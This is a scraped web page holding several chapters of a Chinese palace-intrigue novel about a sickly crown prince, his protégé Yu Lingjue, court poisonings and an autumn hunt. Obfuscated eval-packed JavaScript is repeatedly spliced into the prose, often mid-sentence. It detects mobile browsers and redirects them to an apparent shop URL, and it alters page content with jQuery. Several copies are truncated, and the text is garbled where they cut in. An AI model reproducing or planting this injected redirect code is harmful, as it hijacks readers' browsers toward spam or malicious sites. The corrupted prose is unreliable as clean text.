0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105176|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名义,可以更自由地去观察,去倾听,去编织……属于他自己的脉络。 “秋日将至,”莫忘之望向窗外开始泛黄的树叶,声音恢复了往常的清淡,“多事之秋,更需谨慎。” 玉凌绝握紧腰牌,深深一揖:“凌绝明白。” 这一切都发生得自然而然,如同细雨润物,悄无声息。玉凌绝贪婪地吸收着一切,他不再仅仅是个被动的学生,更像一个被悄然引入棋局深处的旁观者,甚至……开始触摸到棋盘的边缘。 他看着莫忘之如何在病中依旧云淡风轻地掌控着东宫,如何用最平淡的语气说出最锐利的剖析,看着他的病体一日日好转,从卧榻到坐起,从倚窗到缓步行走,直至恢复如常。他也看着那人在面对朝臣试探时,如何瞬间切换回那副温和病弱的储君模样,滴水不漏。 庭院中的蝉鸣声嘶力竭,做着最后的挣扎。莫忘之已能如常行走议事,只是畏寒的毛病似乎根植于骨血,在夏末的天气里,殿内仍备着他常用的薄毯。 期间,燕沧溟通过秘密渠道送来边关特有的解暑药材和几句口信,言语间对莫忘之的身体颇为挂念,也透露出边关局势的暗流涌动。所有这些,都成了他们二人分析时局推演未来的最新注脚。 那日,风中带来了不易察觉的凉意。莫忘之授完课,并未立刻让玉凌绝离开,而是将他带到窗前,指着窗外开始泛黄的树叶:“秋日已至。每年此时,宫中都会筹备秋狩大典。”他语气平淡,仿佛在说一件寻常事。 玉凌绝心中一动,看向他。 莫忘之迎上他的目光,缓缓道:“今年,陛下有意亲临,以振军心,亦安朝野。届时,宗室勋贵,重臣皆会随行,鱼龙混杂,是难得的……观势之机。” 他顿了顿,掩唇轻咳了一声,才继续道:“我此番大病初愈,精力不济,于猎场上恐难有作为。但,”他话锋一转,目光重新落在玉凌绝身上,带着一种审视与考量,“你将充太子仪卫,需要随行。对你而言,这并非游乐,而是另一处课堂,需得……多看,多听,多想。” 玉凌绝清楚,秋狩将是莫忘之为他打开的另一扇窗,让他亲眼目睹朝堂势力在宫墙之外的另一种交锋。他重重地点了点头:“我明白。” “很好。”莫忘之收回目光,望向天际流云,“回去好生准备吧。骑射功夫,莫要荒废了。”这已是明确的指示,他需要在秋狩上拥有起码的自保与……或许是不经意间展示价值的能力。 随着这番话,夏日最后的余温也悄然散去。玉凌绝回到冷宫废弃的院落,再次拿起弓箭时,心境已截然不同。他知道,平静的学习时光已然结束,一个更广阔也更危险的舞台,正伴随着渐起的秋风,缓缓拉开帷幕。而莫忘之,正一步步将他推向那个舞台的中央。 23. 【贰拾弎】 秋色渐渐变浓,风里带了刀刃般的锋锐,吹得人心浮动。 豆大的雨点砸在废弃宫苑的瓦砾上,噼啪作响,掩盖了世间许多细微的声音。 玉凌绝跪坐在窗边,面前摊开着一卷书卷,目光却并未落在书页上,而是凝神听着雨声,指尖在膝盖上无意识地划动着什么。他在等人,等的不是莫忘之或燕沧溟,而是一个负责洒扫冷宫外围平日里最不起眼的老宦官。 约定的时辰已过了一刻,玉凌绝的眉头蹙起。就在他准备起身时,窗棂被轻叩响三下。他迅速推开窗,一个浑身湿透,佝偻着身子的老宦官敏捷地钻了进来,带进一股雨水的土腥气。 “小主子,”老宦官声音沙哑,带着急促的喘息,“查到了,那日刘秉笔去贵妃宫里前,还悄悄见过永巷的副管事,那副管事……是国师夫人远房的表亲。” 玉凌绝眼中恍然大悟。永巷副管事,掌管着部分低等宫人的调配,看似无关紧要,但若想在饮食熏香等细微处做手脚,却有着意想不到的便利。果然,那日的杀局,并非宰相一系单独的手笔,国师的人也掺和其中,甚至可能提供了宫内的便利,这是一场心照不宣的合谋。 “还有,”老宦官压低声音,浑浊的老眼里掠起一抹惊惧,“老奴在永巷那边的废井旁,听到两个小太监嚼舌根,说……说太子殿下前几日常用的那味安神香,似乎……似乎被内务府动了手脚,掺了别的东西,虽不致命,但久闻恐伤身体……” 玉凌绝的呼吸骤然一窒,一股冰冷的怒意瞬间席卷全身,攥紧的拳头指节发白。他们竟敢用如此阴损的手段! 他强压下翻涌的杀意,从怀中取出一个小巧但足够实在的银锞子塞到老宦官手里。“做得很好。此事烂在肚子里,日后还有重赏。” 老宦官千恩万谢地走了。 玉凌绝独自站在窗边,任由潮湿的风裹挟着雨丝扑在脸上。他看着窗外被暴雨蹂躏的草木,眼神一点点变得冰冷而坚定。他不能再等了,不能再仅仅依靠莫忘之的谋划和燕沧溟在外的策应。他必须做点什么,在他力所能及的范围内。 几日后,宫中悄然发生了两件不大不小的事。 一是永巷那位副管事被查出贪墨宫人份例,证据确凿,人赃并获,直接被杖责三十,发配去了皇陵苦役。 二是内务府一位负责香料采买的小管事家中突然失火,虽未伤及人命,却烧毁了大量账册单据。巧合的是,就在失火前一日,此人因“疏忽职守”刚被调离了原岗。而太子殿下宫中随后一次例行的香料补给,则全部换上了由太医院直接监制记录在案的全新批次。 这两件事办得干净利落,痕迹抹得很巧,看起来就像是寻常的宫闱纠察与意外,并未引起太大波澜。即便是莫忘之初时也只觉得是巧合,或是燕沧溟在宫外的动作波及到了宫内。 直到他某夜再去冷宫,习惯性地想要点燃常用的安神香时,玉凌绝却默默递上了只造型古朴的铜制小香炉,炉内装着些晒干的梅花与薄荷叶。 “师兄近日思虑过甚,此物清心宁神,比那安神香好些。”玉凌绝声音平淡,仿佛只是随口一提。 莫忘之接过香炉,指尖触到那微凉的铜壁,动作顿了一下。他抬眸看向玉凌绝。少年依旧垂着眼,侧脸在灯火下半明半暗,神情专注地拨弄着灯花,仿佛刚才那句话只是无心之语。 莫忘之知道他开始拥有自己的獠牙与羽翼,并试图用这尚显稚嫩的翅膀,来为自己遮挡风雨。 但他没有点破,只是将那小香炉置于案几之上,淡淡的梅香与薄荷清气在空气中散开,确实比那浓郁的安神香更令人心神宁静。 “有心了。”他最终只是淡淡说了这三个字,听不出什么喜怒。 玉凌绝抬起头,黑沉的眸子在灯光下亮得惊人,他似乎在等待着什么,或许是赞许,或许是认可。 但莫忘之只是如常般开始讲授新的课业,仿佛刚才那无声的交锋从未发生,他一边分析着朝局,一边顺手将自己带来的薄氅分一半,搭在玉凌绝的膝头。 这次的成功如同在他心中打开了一扇危险的闸门。他开始更加频繁地动用自己那尚显稚嫩的网络,有时是为了搜集一些无关紧要的讯息,有时是为了给某些看不顾眼的小角色使些绊子。他像是在小心翼翼地试探着莫忘之的底线,也试探着自己能力的边界。 秋风带着浮躁,吹拂着废弃宫苑里疯长的野草。 玉凌绝依旧如常接受指导,却在无人注意时,借着自己搜集的关系网与对路径的熟悉,开始如幽魂般潜入宫廷藏书阁的角落,翻阅那些积满灰尘的,记录着不甚光彩往事的残破卷宗。他留意着宫中资格最老却早已被边缘化的内侍宫人,用莫忘之暗中给予他的银钱和不易察觉的威压,撬开那些人紧闭的嘴巴。 线索零碎而模糊,如同散落一地的珠子。前朝宠妃的暴毙,与巫蛊之祸时间吻合的太医署人事变动,几种药性相克,久服则损及心脉的珍稀药材赏赐记录……还有,关于已故元后,那人的亲生母亲,在被赐死前那段时日,宫中隐约流传关于她“忧思成疾,咯血不止”的零星话语。 玉凌绝的心,随着这些碎片的拼凑,一点点沉入冰窖。一个可怕的猜想在他脑中逐渐成形。 这夜,莫忘之授完课,神色比往日更显疲惫,他靠在窗边的旧榻闭目养神。微风带着凉意,却吹不散他眉宇间那抹化不开的倦。 玉凌绝没有像往常一样收拾书卷,他静静地看着榻上的人,忽然开口,声音干涩:“师兄,你的病……并非先天所致,对吗?” 莫忘之眼睫微颤,并未睁开眼,只淡淡道:“何以见得?” 玉凌绝黑沉的眸子紧紧盯着他,不想错过他脸上任何细微的变化:“我查阅过医书,也问过……一些旧人。先天心脉弱者,少有咳血之症如此频繁剧烈。你的病,更像……更像积年沉疴,或……旧毒未清。” 最后四个字,他咬得极重。自巫蛊事件后,他对“毒”字异常敏感。 玉凌绝又往前走了一步,站在榻前,目光灼灼,像是要穿透那层平静的表象,“……元后娘娘薨逝前,也曾咯血。而那时,正值国师献上所谓长生丹方,陛下命太医院依方炼制‘养荣丸’,宫中几位与元后娘娘亲近或对丹方存疑的妃嫔与太医,都在之后一两年内……或病故,或失势。” 他每说一句,莫忘之的眉头便蹙紧一分,但仍未睁眼。 玉凌绝继续道,声音带着压抑的颤抖:“那‘养荣丸’中,有一味赤焰草,单独服用是温补圣品,但若与当时贵妃宫中惯用的雪肌香长期混合吸入,便会沉积体内,逐渐侵蚀心脉,令人体弱咳血,状若痨疾,却更难察觉,更难根治。”他深吸一口气,几乎是用尽了力气,问出那句盘旋在心头许久的话,“你母后……还有你……是不是都中了这种毒?” 莫忘之终于缓缓睁开了眼睛。那双总是清凌的眸子里,没有惊讶,没有愤怒,只有一片了然的平静,甚至带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105177|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着若有若无的释然。他看着玉凌绝,看到了少年眼中那混合着愤怒,心疼与求证光芒的剧烈情绪。 “阿绝。”他移开目光,望向窗外沉沉的夜色,声音飘忽得像一缕烟,“有些事,知道得太多,并非幸事。” 他没有否认,这便是默认。 “他们……他们怎么敢!”玉凌绝得到确认,只觉得一股血气直冲头顶,拳头攥得咯咯作响,眼中是滔天的恨意,“那后来……你的毒……” 他想起关于莫忘之母后因巫蛊被赐死的结局,想起莫忘之太子之位摇摇欲坠的处境,想起他这些年在各方势力夹缝中如履薄冰的艰难……这一切,怎么可能不付出代价。 “母后去后,东宫便成了众矢之的。我停了那药,也远离了贵妃的宫殿。”莫忘之漫不经心地说着,仿佛在说别人的事。“一盏茶,一碟点心,甚至一阵风,都可能藏着杀机。能活到今日,已属侥幸。” “但那毒性已深,损了根基,只能慢慢将养,无法根除。”他顿了顿,目光扫过自己手臂上那道淡粉色的疤痕,“那日狸猫爪上的毒性烈,与体内残毒一冲,咳疾便重了些许。” 轻描淡写的一句“重了些许”,背后是缠绵病榻的痛苦和咯血的折磨。玉凌绝想起那夜刺目的猩红,想起他日渐苍白的脸色,想起他强撑精神的倦怠……原来这一切不仅仅是为了护他而受的新伤,更是旧日阴谋在他身上刻下的烙印。 他看着莫忘之苍白的脸庞,看着他那双依旧平静却难掩疲惫的眼睛,想起他云淡风轻地说着“死不了”……那道伤疤再一次被生生撕裂。 “……抱歉。”玉凌绝的声音带着哽咽,“如果不是为了教我,如果不是为了护我,你本可以……可以更安心静养的……”他不必卷入这越来越深的漩涡,不必一次次劳心劳力加重这沉疴。 莫忘之看着他被仇恨与愧疚撕扯的样子,沉默了片刻。他坐起身,伸出手落在玉凌绝的头顶。这一次,他没有像往常那样一触即离,而是停留了片刻,掌心那点微凉的温度,却熨帖了少年激动得发颤的身体。 “凌绝,这一切都与你无关。”他唤了他的名字,声音低沉而清晰,“这宫墙之内,从未有过真正的安稳。无论有没有你,该来的,总会来。” “怎么会无关!”玉凌绝猛地后退,“若不是因为我,你怎会……”后面的话,他哽在喉间,化作压抑的呜咽。巨大的愧疚感如同潮水般将他淹没,几乎窒息。他从未想过自己的存在,竟成了加重对方痛苦的根源。 看着他这般模样,莫忘之眼底掠过复杂的情绪,最终都化为一声沉重的叹息。 “傻话。”他的声音低沉而温和,带着一种看透世事的苍凉,“这路是我自己选的。护你,亦是我的选择。若要论因果,也是我欠你……”他话语一顿,没有说下去,仿佛那个缘由过于沉重,无法轻易触及。 他的目光越过玉凌绝,望向窗外沉沉的夜色,仿佛穿透了时光,看到了那些早已湮没的过往。 “不必觉得亏欠。”他最终只是这样说,“你只需记住,活着,好好活着,变得足够强大,强大到能掌控自己的命运,唯有如此,才不枉……这一切。” 话音落下,他便闭上了眼,似乎连多说一个字的力气都已耗尽。 玉凌绝站在原地,看着他毫无血色的脸,感受着头顶残留的安抚。所有的愤怒与愧疚最终都化作了一种更为深沉也更为坚定的决心。 窗外,秋风呜咽。 24. 【贰拾肆】 自那夜后,玉凌绝变得更加忙碌。他利用莫忘之给予的那枚腰牌,以“协助整理东宫旧档”的名义,看似无意地流连于内务府,吏部文选司等存放文书档案的场所。 他尝试着去追溯那些名字背后的脉络,何时因利而合,因势而分。他将这些零碎的线索,与自己安插的眼线传来的只言片语相互印证,像织网一般,梳理着水面下的暗流。 一直到紫宸殿内一场关于来年漕运总督人选的口角,最终以国师一派意外被爆出草菅人命的铁证而戛然而止。老皇帝听闻,气得砸了药碗,那位置最终落到了一个看似中立,实则与东宫有着千丝万缕联系的官员头上。 此事办得干净利落,直击要害。连燕沧溟听闻消息后都毫不掩饰的赞许:“这一手漂亮!谁的手笔?东宫新招揽的能人?” 莫忘之在收到消息时,执笔的手微微一顿,一滴浓墨猝不及防地落在雪白的宣纸上,氤氲开一片沉郁的灰黑。 他放下笔走到窗边。庭树枝叶蜷缩,了无生气。他脑海中浮现的却是几日前,玉凌绝在他面前背诵《盐铁论》时,那双低垂看不清情绪的眸子。当时他看似专注,指尖却无意识地在膝上反复勾勒着“漕运”二字的笔画。 玉凌绝不再满足于只做他棋盘上的一颗棋子,哪怕是最重要的那一颗。他开始尝试着,用自己的方式,在他布下的棋局之外,落下属于他自己的子。 当夜,莫忘之再次踏入那处废弃宫苑时,玉凌绝正坐在老树下擦拭着刚见面燕沧溟送他的短匕。匕身寒光流转,映着他沉静的侧脸,那眉宇间已褪去了许多少年的青涩,流露出一种近乎冷凝的专注。 听到脚步声,他抬起头,看向莫忘之,眸子里飞快地掠过类似于期待被认可的光芒,随即又迅速隐没在惯常的沉寂之下。 “漕运之事,你做的?”莫忘之开门见山,声音听不出喜怒。 玉凌绝擦拭匕首的动作未停,只是指尖微微收紧了些。他沉默了片刻,才低低地“嗯”了一声,算是承认。 “为何不先行知会于我?”莫忘之问,语气依旧平淡。 玉凌绝终于停下动作,抬起眼,直视着莫忘之:“告知师兄,师兄会允我放手去做么?”他声音不高,却带着一种试探性的,初生牛犊般的锐气,“我想着,此事若能成,于师兄布局有利。即便不成,也不过是折损几个无关紧要的暗桩,牵连不到师兄身上。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“喏,边关手艺,别嫌弃!戴着这个,拉弓射箭省得磨破了皮哭鼻子!”她大喇喇地塞给玉凌绝,又转头对莫忘之道,“喂,我说,这小子筋骨长得快,光在宫里比划可不成。什么时候放他去我那?真刀真枪练练,保管比现在强十倍!” 她说得随意,玉凌绝系护腕的手却微微一顿,下意识地看向莫忘之。 莫忘之正垂眸拨弄着灯花,闻言并未抬头,只淡淡应了一句:“再看吧。” 燕沧溟撇撇嘴,也没再多说,转而兴致勃勃地讲起如何在密林中追踪猎物,如何根据风向判断箭矢轨迹。玉凌绝听得专注,将那护腕戴得端正,仿佛那不仅仅是护具,更是通往另一个世界的凭证。 制衣局将赶制好的秋狩骑射服送至东宫偏殿时正值午后。殿内静谧,唯闻窗外偶尔几声鸟鸣,以及书页翻动的轻响。 玉凌绝看着那套簇新挺括的衣物,暗青色的锦缎在透过窗棂的日光下,流淌着内敛的光泽,银线绣就的云纹在衣领袖口处若隐若现。料子是顶好的,针脚是细密的,一切都完美得不像真实。 他伸出手,指尖小心翼翼地触上那冰凉的缎面,一种混杂着陌生喜悦与更酸涩的情绪,猝不及防地涌上喉头。胸腔里那股自尚宫量体时便盘踞不散的情绪,此刻翻涌得愈发厉害。 他想起冷宫里那些永远带着霉味,不是过大就是过小,甚至是从死人身上剥下来的旧衣,想起那些因衣衫褴褛而招致的无数嘲笑与欺凌。如今这身华服,反而扎得他心口密密麻麻地疼。 他怔怔地站着,竟忘了动作,只觉眼眶微微发热,慌忙低下头,不想让殿内另一人看见自己此刻的失态。 莫忘之原本坐在窗下看书,目光虽落在书页上,眼角的余风却将玉凌绝所有的细微反应尽收眼底。那小心翼翼的触碰,那瞬间僵硬的身体,那低垂下去试图掩饰情绪的头顶发旋。 他放下书卷,起身,步履无声地走到玉凌绝面前。 “不合身么?”莫忘之的声音依旧平和,听不出什么情绪。 玉凌绝猛地摇头,喉咙像是被什么东西堵住,发不出声音。 莫忘之不再多问,只是对一旁侍立的内侍挥了挥手。内侍会意,躬身悄无声息地退了出去,并带上了殿门。 殿内只剩下他们二人,空气仿佛凝滞。 下一刻,莫忘之伸出手,竟亲自为他解开了那件略显陈旧的日常外袍的衣带。动作自然流畅,仿佛做过千百遍。 玉凌绝浑身猛地一颤,像是受惊的幼兽,下意识地就想后退,身体却如同被钉在原地,动弹不得。他能感觉到微凉的指尖偶尔擦过他颈侧的皮肤,带来阵阵战栗。鼻尖萦绕着对方身上那熟悉的清冽如雪松般的气息,混合着药香与新衣淡淡的味道。 外袍被轻柔地褪下,露出里面单薄的白色中衣。莫忘之拿起榻上的新衣,抖开,动作娴熟地帮他穿上。 对方似乎并未察觉他的异样,神情是一贯的专注与平静,仿佛只是在完成件再寻常不过的小事。他专注地将崭新的中衣为他套上,动作轻柔而准确。衣料摩挲过肌肤,带来陌生而舒适的触感。随后莫忘之绕到他身前,低着头,耐心地将中衣的系带一一理顺,打了个结实而平整的结。 接着是外袍。莫忘之替他披上,理平肩线,抚顺背后的褶皱。他的手掌隔着衣料,轻按在玉凌绝单薄的肩胛骨上。 最后,是腰间的革带。 莫忘之双臂环过他腰侧,几乎是一个将人拢在怀里的姿势去扣那枚银质的带扣。玉凌绝能闻到他身上清冽的气息,能感受到他平稳的呼吸拂过自己的脖颈。 革带系好,莫忘之又为他调整了一下护腕的位置,为他整理着领口,将领扣仔细扣好。他的动作很慢,很仔细,指尖最终停留在玉凌绝的喉结下方,似乎是在确认扣合是否稳妥。 玉凌绝僵立着,任由那微凉的指尖为他系紧最后一根丝绦,整理好领口的每一处褶皱。那轻柔的触碰仿佛带着电流,窜过他紧绷的脊背。 终于,一切整理妥当。莫忘之退后一步,目光落在他身上,仔细端详了片刻。那精心剪裁的衣物将他开始抽条的身形勾勒得恰到好处,褪去了几分阴郁,多了几分清贵与难以忽视的锐气。 “尚可,人靠衣装。”莫忘之微微颔首,语气是一贯的平淡,仿佛刚才那番亲密的举动不过是举手之劳。 一股热意不受控制地冲上眼眶,玉凌绝猛地低下头,死死咬住下唇,不让那丢人的湿意泛滥出来。双手在身侧紧紧握成了拳,指甲深深嵌入掌心,试图用疼痛来压制内心翻江倒海的情绪。 那句的尾音尚在静谧的殿中若有若无地萦绕,莫忘之的目光却并未从玉凌绝身上移开。他看着对方骤然低下的头颅和那微微颤抖的单薄肩膀,静默了片刻。那强自镇定的模样下,分明藏着不易察觉的对新衣的珍视,以及更深处的因长久匮乏而生的酸楚。在他看不见的地方,这孩子终究是吃了太多的苦。 殿内寂然,新衣的缎料在午后日光下流转着暗青色的幽光,如同深潭静水。眼前的少年身姿如新竹般挺秀,已然比自己还高。暗青勾勒出渐宽的肩线与劲瘦的腰身,对方再也不是雪夜里那个蜷缩在他怀中,冰冷僵硬的小小一团幼兽了。 他没有出言安慰,也没有询问,而是几乎是下意识地轻轻喟叹出声,如同梦呓,带着一丝连他自己都未曾察觉,深埋于岁月尘埃下的疲惫与释然: “终于……是长大了。” 玉凌绝猛地抬起头,撞进了对方那双此刻不再平静无波,而是翻涌着他看不懂情绪的眼眸。那里面有他熟悉的淡然,但更多的,是一种他从未见过仿佛穿越了无尽时光的……伤逝与庆幸。 “师兄……”玉凌绝喃喃,心脏像是被一只无形的手紧紧攥住,酸涩与一种莫名的恐慌交织攀升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105179|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他不懂那眼神的含义,却本能地感到一种巨大的即将失去什么的恐惧。是因为他很失望吗?是因为自己做得还不够好? 下一秒,在玉凌绝来不及做出任何反应之际,莫忘之伸出手臂,将他拥入了怀中。 这不是一个敷衍象征性的拥抱。那拥抱并不用力,甚至带着一种小心翼翼的珍视,手臂环过他因惊愕而僵直的背脊,将他略显单薄的身体稳稳地纳入了自己的气息范围之内。那清冽的雪松气息与药香瞬间将他完全笼罩,密不透风。 这个突如其来的拥抱隔着两层衣料,他能清晰地感觉到莫忘之胸膛平稳的起伏,以及那之下,似乎比平日稍快了些的心跳声。 殿内死寂,唯有彼此交错的心跳声,一声声,清晰可闻。 玉凌绝脑中一片空白,所有的思绪所有的戒备所有的酸涩都被这突如其来的拥抱撞得粉碎。一股巨大的难以言喻的暖流伴随着剧烈的痛楚,猛地冲上玉凌绝的脊柱。他僵硬的手指在身侧蜷缩,松开,又再次紧紧攥住,指尖深深陷入掌心,试图用疼痛来确认这不是梦。 新衣的微凉渐渐被彼此的体温熨暖。玉凌绝紧绷的神经终于松弛,眼眶中的湿热再也无法抑制,无声地浸湿了对方肩头的衣料。 他用尽全身的力气反手紧紧回抱住对方,死死环住那清瘦的腰身,将脸埋在他带着苦涩药香的肩窝,贪婪地呼吸着那令他安心又心悸的气息。他的身体因这过于大胆的举动而剧烈地颤抖着,像是害怕被推开,又像是要将自己彻底融入对方的生命之中。 莫忘之被他这过于激烈的反应刺激得微微一怔。他能清晰地感觉到怀中少年紧绷的脊背,和那埋在自己怀里急促而湿热的呼吸,那力道之大,仿佛要将他勒入骨血。 他感觉到肩头衣料传来细微的湿意,是泪吗? 他沉默着,任由少年滚烫的泪水浸湿自己的衣襟,任由他亲手养大的孩子在自己怀中寻求庇护和救赎。他垂着眼眸,掩去其中翻涌的复杂情绪,那只抬起的手带着无声的安抚,一下下,抚摸着玉凌绝略显单薄的背脊,如同他们初遇的雪夜。 日光偏移,将相拥的身影拉长,投在光洁的地面上,模糊了边界,融为了一体。 不知过了多久,莫忘之才道:“好了,”他的声音恢复了平日的清缓,“衣衫要皱了。” 玉凌绝这才如梦初醒,猛地松开手,踉跄着后退一步,怀中骤然失去的温度让他感到一阵虚空般的冷意。 莫忘之看着他这副难得狼狈又带着少年羞赧的模样,最终只是默默拍了拍他的肩膀,如同每一次教导后那般。 “去吧,试试弓马可还顺手。” 玉凌绝点了点头,转身快步离去,脚步甚至有些踉跄。直到殿门在身后合上,他靠在冰凉的廊柱上,才仿佛重新找回了呼吸。怀中似乎还残留着那个拥抱的温度与力度。 他抬起手,看着袖口那隐秘的云纹,眼中是前所未有的迷茫与坚定。 而殿内,莫忘之独立良久,方才抬起那只回抱过玉凌绝的手,指尖仿佛还残留着少年衣衫的质感与体温。他望向窗外渐沉的暮色,目光悠远,最终化为一声悲哀的叹息,消散在空寂的大殿之中。 26. 【贰拾陆】 一年一度的秋狩,是困于金笼的鹰隼们短暂展翅的契机,亦是暗流涌动的另一处战场。旌旗招展,马蹄踏碎落叶,号角声在苍茫山野间回荡。 玉凌绝穿着那身暗青色骑射服,衬得身姿初现挺拔,少了些许在冷宫时的阴郁,多了几分少年人的利落。他骑在一匹温顺的红枣马上,跟在皇子宗亲队伍的末尾,毫不起眼。 这是他第一次正式出现在如此多的权贵面前,无数道或好奇或鄙夷或探究的目光落在他身上,刺得他脊背紧绷。 但这也是他第一次离开那四方宫墙,置身于如此广阔天地。远处山峦叠翠,近处草场金黄,秋风带着草木的清气扑面而来,让他沉寂的黑眸里也不由自主地掠过一点悸动。 不过他的心神并未过多流连景色,目光始终若有若无地追随着前方那个端坐于白马之上,身着玄色骑射装的清瘦身影。 莫忘之作为太子,于御驾之侧,依旧是那副云淡风轻的模样,主持仪式,应对各方,举止合仪,却透着一种疏离的温和,偶尔与周围人低语两句,姿态从容,仿佛周遭所有的暗流都与自己无关。 站在一众锦衣华服的皇子中,莫忘之那张过于平凡的脸反而成了最好的保护色,让人轻易忽略他眼底深处的翻涌。 几名宗室子弟围在一起对来宾评头论足,言语间不免带上几分炫耀。其中一位郡王见玉凌绝独自坐在不远处擦拭弓弦,便语带讥讽地高声笑道:“有些野种,难不成真有几分山林里求生的本事,怕是骨子里就流着茹毛饮血的血脉罢!” 哄笑声起。玉凌绝擦拭弓弦的手骤然顿住,指节泛白。他猛地抬头,黑沉的眸子如同淬了冰,死死盯住那出言不逊的郡王,周身散发出的冷厉气息,竟让那郡王笑声一窒,下意识地后退了半步。 “你再说一遍。”玉凌绝的声音不高,却带着一种危险的平静。 那郡王被他目光所慑,面上挂不住,色厉内荏地挺胸上前:“怎的?本王说错了吗?你母亲不过是个贡女,谁知道是什么来历……” 那些刻意遗忘的羞辱再次缠上心脏。玉凌绝眼底戾气翻涌。 就在这时,一道平静无波的声音自身后响起: “诸位堂弟,是在议论何事?” 众人回头,只见莫忘之不知何时已缓步走来。他脸上依旧没什么表情,甚至唇角还带着那丝惯常的浅淡弧度,他的声音不高,却带着冰冷的威压。那几人顿时面如土色,灰溜溜地快步离去。 “莫要逞匹夫之勇,泄一时之愤,”莫忘之的声音依旧没什么起伏,却字字如针,扎在玉凌绝心上。他知道在这围场,他依旧是那个可以随意践踏的冷宫弃子,若非莫忘之在,他连站在这里的资格都没有。 狩猎开始,骏马奔驰,箭矢破空。勋贵子弟们纷纷纵马入林,追逐着早已被驱赶至此的鹿狐雉兔,呼喝之声不绝于耳。 玉凌绝并未急于表现。他控着缰绳,不远不近地跟在莫忘之马后,目光却锐利如鹰,仔细地观察着林间的动静。 他看见宰相的幼子一箭射中了一头麋鹿,得意洋洋地命人将猎物抬去御前;看见国师的侄儿与人争抢一只色彩斑斓的雉鸡,险些动了拳脚;也看见几位手握兵权的将领,只猎些寻常野兔獐子,姿态闲适,眼神却如鹰隼般巡弋着全场。 以及……那些看似追逐猎物,实则方位微妙,隐隐形成某种包围之势的侍卫与世家子。那是宰相门下的人。 莫忘之似乎毫无所觉,只偶尔张弓,射些雉鸡野兔,姿态闲适得仿佛真是来游山玩水。玉凌绝默默跟在他身侧,手握着一把力量适中的角弓,眼神警惕地扫视着周围。 就在这时,灌木丛中一阵剧烈晃动,一头体型硕大,獠牙外露的野猪,竟如同发了狂般,赤红着双眼,直冲莫忘之的马匹撞来,那方向刁钻,速度极快,显然是受了巨大的刺激。 “保护殿下!” 周围顿时一片惊呼,侍卫们慌忙策马上前,但那野猪来势太猛,眼看就要撞上—— 电光火石之间,一道破空之声锐响! 一支羽箭,并非来自莫忘之的方向,而是从他侧后方飞驰而出!那箭矢去势极猛,带着一股狠绝的力道,“噗”地一声,精准无比地射入了野猪怒张的口中,直贯入脑。 野猪发出一声凄厉的惨嚎,巨大的冲势戛然而止,轰然倒地,四肢抽搐了几下,便不再动弹。 全场有一瞬间的死寂。 所有人的目光,都聚焦在那支仍在微微颤动的箭矢,以及……缓缓放下手中长弓的玉凌绝身上。 少年端坐马上,身形尚显清瘦,握着弓背的手指节却因用力而泛白。他脸上没有什么表情,唯有那双黑眸冷冽如寒潭,扫过那些刚刚“来不及”反应的侍卫,最终落在脸色微变的几位宰相一派的官员身上。 那一箭,不仅仅是救驾,更是一种凌厉的警告与宣告。 莫忘之勒住受惊的马匹,回头看向玉凌绝。他清晰地看到了少年眼中尚未完全散去的杀意与冰冷,也看到了那杀意之下不易察觉的,看向自己时的担忧。 他驱马靠近,来到玉凌绝身边,声音不高,却足以让周围几个心腹听见:“箭法精进不少。”让人听不出太多惊喜,仿佛只是陈述一个事实。 玉凌绝垂下眼睫:“兄长受惊了。” 莫忘之深深看了他一眼,未再多言,只吩咐道:“将这畜生处理了。继续。” 狩猎的气氛,因这突如其来的变故,变得有些微妙。玉凌绝那石破天惊的一箭,不仅化解了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105180|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一场“意外”,更像是一把陡然出鞘的利刃,让所有人都无法再忽视这个沉默的冷宫弃子。 随后的时间里,玉凌绝不再隐匿锋芒。他纵马驰骋,箭无虚发,无论是灵巧的麋鹿还是凶猛的獐子。他的动作干脆利落,带着一种与年龄不符的冷静与狠厉,那积攒了许久的,急于证明自己的力量,在这一刻展露无遗。 